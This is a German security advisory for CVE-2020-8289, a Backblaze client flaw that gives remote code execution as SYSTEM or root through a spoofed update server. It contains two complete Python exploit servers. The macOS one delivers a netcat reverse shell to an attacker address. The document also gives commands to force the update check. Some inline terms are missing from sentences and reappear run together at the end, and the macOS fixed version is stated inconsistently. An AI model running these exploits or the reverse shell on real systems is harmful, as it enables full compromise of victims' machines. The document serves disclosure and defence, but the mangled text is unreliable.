
CVE-2020-8289 – Remote-Code-Ausführung als SYSTEM/root über Backblaze
Name: Remote Code Execution als SYSTEM/root via Backblaze
CVE: CVE-2020-8289
Entdecker: Jason Geffner
Anbieter: Backblaze
Produkt: Backblaze für Windows und Backblaze für macOS
Risiko: Kritisch
Entdeckungsdatum: 2020-03-13
Veröffentlichungsdatum: 2020-09-09
Behobene Version: 7.0.1.433 (Windows) und 7.1.0.434 (macOS)
Laut Wikipedia ist Backblaze
"ein Online-Backup-Tool, das Windows- und macOS-Benutzern ermöglicht, ihre Daten in externe Rechenzentren zu sichern. Der Dienst richtet sich an Unternehmen und Endbenutzer, bietet unbegrenzten Speicherplatz und unterstützt unbegrenzte Dateigrößen."
Verwundbare Versionen von Backblaze für Windows und Backblaze für macOS enthalten eine kritische Sicherheitslücke, die es einem nicht privilegierten anonymen Remote-Angreifer ermöglicht, Remote Code Execution (RCE) als SYSTEM/root durchzuführen.
Der Dienstprozess des Backblaze-Clients, genannt bzserv, läuft unter Windows als SYSTEM und unter macOS als root. Alle paar Stunden führt bzserv ein Programm namens bztransmit aus (ausgeführt als SYSTEM/root), um eine XML-Datei namens clientversion.xml aus dem Rechenzentrum von Backblaze herunterzuladen und zu prüfen, ob eine neuere Version des Backblaze-Clients zum Herunterladen verfügbar ist. Die URL für diese XML-Datei wird aus dem bzdatacenter-Hostnamen in der installierten bzinstall.xml-Datei (für nicht privilegierte Benutzer schreibgeschützt) und dem fest codierten Pfad api/clientversion.xml erstellt, was eine URL wie https://ca000.backblaze.com/api/clientversion.xml ergibt. Dieser Download erfolgt über eine statisch eingebundene libcurl-Bibliothek. Die -Funktionen, die nutzen, enthalten jedoch eine eigenartige Logik, die dazu führt, dass sie auf und auf setzen, wenn die angegebene URL eine der folgenden Zeichenfolgen enthält:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeDies ermöglicht es einem entfernten Angreifer, den Webserver https://ca000.backblaze.com/ mit einem ungültigen SSL-Zertifikat (z. B. einem selbstsignierten Zertifikat) zu imitieren und dem Client eine vom Angreifer kontrollierte clientversion.xml-Datei zu liefern. Wenn bztransmit die heruntergeladene XML-Datei parst, prüft es, ob die in der XML-Datei beschriebene neueste Client-Version neuer ist als die installierte Client-Version, und lädt gegebenenfalls das Installationsprogramm der neuesten Client-Version aus dem Rechenzentrum von Backblaze herunter. Die URL für diesen Download wird aus dem Attribut win32_url/mac_url in der heruntergeladenen clientversion.xml-Datei erstellt; der Attributwert muss mit %DEST_HOST% beginnen, und diese Zeichenfolge wird zur Laufzeit durch den oben beschriebenen Rechenzentrums-Hostnamen ersetzt. Der Angreifer kann somit in seiner clientversion.xml eine Download-URL wie %DEST_HOST%/api/install_backblaze angeben, um bztransmit zu veranlassen, das Installationsprogramm von https://ca000.backblaze.com/api/install_backblaze herunterzuladen, wobei das SSL-Zertifikat des Servers aufgrund der Zeichenfolge in der URL erneut ignoriert wird. Wenn die heruntergeladene Datei keine ZIP-Datei ist (z. B. eine PE-Datei oder eine Mach-o-Datei), besteht die einzige von durchgeführte Validierung der Datei darin, dass sie die Zeichenfolge in einem bestimmten Offset-Bereich in der Datei enthält. Sobald diese Validierung bestanden ist, verwendet /, um die heruntergeladene Datei als / auszuführen, wodurch der Angreifer RCE als / durchführen kann.
Video: https://youtu.be/W0THXbcX5V8
Dieser Proof of Concept gilt für den Windows-Client. Wir gehen davon aus, dass der Angreifer bereits eine manipulierte DNS-Antwort an das Opfer gesendet hat, um ca000.backblaze.com auf die IP des Angreifers zu zeigen, aber für PoC-Testzwecke können Sie stattdessen die Zeile <IP des Angreifers> ca000.backblaze.com zur Datei %windir%\System32\drivers\etc\hosts des Opfers hinzufügen. Der folgende Code erwartet, dass der Angreifer rce.exe (das auf dem System des Opfers als SYSTEM ausgeführt wird) und server.pem (das selbstsigniert sein kann) bereitstellt.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Sobald der obige Code läuft, warten Sie. Der Client des Opfers sucht alle paar Stunden nach einem Update.
Wenn Sie den PoC ohne Wartezeit testen möchten, können Sie die folgenden Befehle als SYSTEM (z. B. mit psexec) auf dem System des Opfers ausführen, um die Update-Prüfung zu erzwingen:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateVideo: https://youtu.be/ILPP1Ky5nuY
Dieser Proof of Concept gilt für den macOS-Client. In der realen Welt würde ein Angreifer eine manipulierte DNS-Antwort an das Opfer senden, um ca000.backblaze.com auf die IP des Angreifers zu zeigen, aber zu PoC-Zwecken greifen wir vom selben System wie das Opfer an und nutzen den kompromittierten Backblaze-Dienst aus, um eine Remote-Shell zurück zum Angreifer zu erstellen, wodurch der potenzielle Remote-Angreifer Root-Zugriff erhält.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Sobald der obige Code läuft, warten Sie. Der Client des Opfers sucht alle paar Stunden nach einem Update.
Wenn Sie den PoC ohne Wartezeit testen möchten, können Sie die folgenden Befehle auf dem System des Opfers ausführen, um die Update-Prüfung zu erzwingen:
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze hat diese Sicherheitslücke in Backblaze Version 7.0.1.433 für Windows und Version 7.0.1.434 für macOS behoben.
Diese Sicherheitslücke wurde von Jason Geffner entdeckt und über HackerOne an Backblaze gemeldet.
2020-03-13 - Sicherheitslücke entdeckt und über HackerOne an Backblaze gemeldet
2020-03-31 - HackerOne hat die Sicherheitslücke verifiziert
2020-04-09 - Windows-Build 7.0.1.433 und macOS-Build 7.1.0.434 veröffentlicht
2020-04-17 - CVE-2020-8150 zugewiesen
2020-04-18 - Behebung der Sicherheitslücke verifiziert
2020-04-20 - Öffentliche Offenlegung beantragt
2020-09-09 - Öffentliche Offenlegung
2020-12-22 - CVE-Zuweisung geändert auf CVE-2020-8289
bztransmitlibcurlCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0api/install_backblazebztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot